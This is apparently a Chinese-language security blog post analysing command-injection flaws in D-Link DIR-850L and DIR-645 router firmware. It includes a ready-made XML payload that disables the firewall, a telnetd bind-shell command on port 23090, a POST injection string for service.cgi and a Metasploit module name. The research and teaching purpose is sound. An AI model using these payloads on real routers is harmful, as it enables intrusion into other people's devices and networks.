前言
這次來分析兩個比較經典的路由器命令執行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由於參數拼接不當造成的。
漏洞分析
根據前一篇文章中的任意文件讀取漏洞,在讀取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我們就可以進一步利用,達到命令執行的目的,進而 getshell。
php 源代碼
代碼如下:
這里的 server
變量可控,導致在拼接時,我們可以閉合前面的命令參數,執行任意命令。
通過前一步的任意文件讀取得到 admin 的密碼之后,登錄上去抓包,將認證過的 cookie 賦值給 uid。
首先先訪問 DEVICE.TIME 這個 service ,根據返回包的 xml 文件數據格式來構造命令注入的 payload。
構造 xml 數據:
<postxml>
<module>
<service>DEVICE.TIME</service>
<device>
<time>
<ntp>
<enable>1</enable>
<period>604800</period>
<server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) & exit;</server>
</ntp>
<ntp6>
<enable>1</enable>
<period>604800</period>
</ntp6>
<timezone>61</timezone>
<time></time>
<date></date>
<dst>0</dst>
<dstmanual></dstmanual>
<dstoffset></dstoffset>
</time>
</device>
</module>
</postxml>
這里的 payload
將目標服務器的 iptables
防火牆關閉,並在 23090 端口開啟 telnet 服務
- 這里的變量
$enable
和$enablev6
都設置為 1,就執行了第一個分支。
之后,按照這篇文章的思路,為了使得設置加載的服務生效,還要向 pigwidgeon.cgi
發送激活請求。
返回 OK 則表示已經激活成功。
這時可以再請求一下 DEVICE.TIME 查看結果,發現這里已經成功將 payload 寫入 service
變量
漏洞利用
按照一般思路,拿到了遠程 RCE 之后,可以在目標機器上開啟 telnetd 服務,進行 shell 的登錄。
開啟 telnetd 服務
telnetd
是 busybox
程序中集成的一個服務,所以在嵌入式設備中一般都可以進行開啟。
telnetd -p 23090 -l /bin/sh
在上面的 xml 數據里的括號中,加入上面的代碼,就可以在 23090 端口開啟一個 telnet 服務,-l 參數表示在登錄上 telnet 服務之后就執行 /bin/sh
程序,即反彈一個 busybox 的 shell。
和上面的流程一樣,先后訪問 hedwig.cgi 發送 xml 數據和 pigwidgeon.cgi 激活服務之后,就可以在本地嘗試連接
圖上表明正常獲取了目標 busybox
的 shell。
使用 metasploit 反彈 shell
在 metasploit 上集成了一個 DIR-850l 的命令執行的 exp,所以這里直接使用工具來 getshell 也是一個方法。
exploit/linux/http/dlink_dir850l_unauth_exec
在 exploit-db 上的位置
這里筆者在 vps (ubuntu 14.04) 上裝了一個 msf,安裝方法也很簡單:
sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安裝好后打開 msf, use exploit 設置好參數就行了。
這樣就反彈了一個 busybox 的 shell。
DIR-645 命令執行
在 dir-645 固件版本 1.02 中的 service.cgi 中存在一處命令注入,可以通過閉合前面的命令,注入惡意數據,達到執行任意命令的效果。
固件下載地址:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP
service.cgi 分析
同樣的,把固件解壓后使用 binwalk 提取出文件系統。將 htdocs/cgibin 載入 IDA 中,找到處理 service.cgi 代碼邏輯部分,也就是 servicecgi_main
這個函數處。
接下來一步步分析函數的功能,首先使用 getenv
函數獲取 http 請求方法,若為 POST 請求,則執行右邊的分支。
使用 cgibin_parse_request
函數解析 content-length 和 content-type 頭字段之后,經過 sess_ispoweruser
函數判斷用戶是否已經登錄。
之后獲取 POST 表單字段,若字段名為 EVENT
的話,就將 "event %s > /dev/null"
作為參數執行 lxmldbc_system
函數。
.text:0040CF58
.text:0040CF58 loc_40CF58:
.text:0040CF58 lui $a0, 0x42
.text:0040CF5C jal sub_40CD50
.text:0040CF60 la $a0, aEvent # "EVENT"
.text:0040CF64 la $a0, aAction # "ACTION"
.text:0040CF6C jal sub_40CD50
.text:0040CF70 move $s2, $v0 # 注意這里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74 la $a0, aService # "SERVICE"
.text:0040CF7C jal sub_40CD50
.text:0040CF80 move $s0, $v0
.text:0040CF84 lw $gp, 0x130+var_120($sp)
.text:0040CF88 beqz $s2, loc_40CFA4
.text:0040CF8C move $s1, $v0
.text:0040CF90 lui $a0, 0x42
.text:0040CF94 la $t9, lxmldbc_system
.text:0040CF98 la $a0, aEventSDevNull # "event %s > /dev/null"
- 注意 mips 的流水線效應。
在 lxmldbc_system
函數中調用了 system
函數,跟進分析一下
開頭先執行了 vsnprintf
函數,格式化字符串到棧上 ($sp+0x428+var_40C)
vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)
vsnprintf 函數的解釋:
函數原型:int vsnprintf(char *str, size_t size, const char *format,va_list ap);
函數說明:將可變參數格式化輸出到一個字符數組
參數:str輸出到的數組,size指定大小,防止越界,format格式化參數,ap可變參數列表函數用法
這個函數和 snprintf
函數就差了一個可變參數 va_list ,這里分析的話直接忽略就好了。
接着調用 system
函數,這里的 $s0 = $sp+0x428+var_40C
可以看到這里直接將剛才格式化過的字符串傳入 system 作為他的參數。
.text:004133E4 la $t9, system
.text:004133E8 nop
.text:004133EC jalr $t9 ; system
.text:004133F0 move $a0, $s0 # command
也就是執行了 system("event %s > /dev/null")
,顯然這里我們可以用分隔符 (;、|、&、%0a) 來截斷前面的命令,進行命令注入,達到執行任意命令的效果。
所以在這里我們只需要提交類似於 EVENT=;uname -a%26
的 POST 數據就行了。
- 前面的分號換成 | 和 & 都可以正常注入,后面只能為 & 。
system
函數執行是有回顯的,所以這里可以直接在返回包中看到執行的結果。
- 這里構造 SERVICE 字段也行,只不過需要再加上 ACTION 字段配合使用才行。
總結
DIR-850L 和 DIR-645 的命令注入漏洞都是由於在拼接參數時沒有進行過濾,直接執行 system 函數,因此防御手段就只需要在拼接參數時進行相應的過濾即可。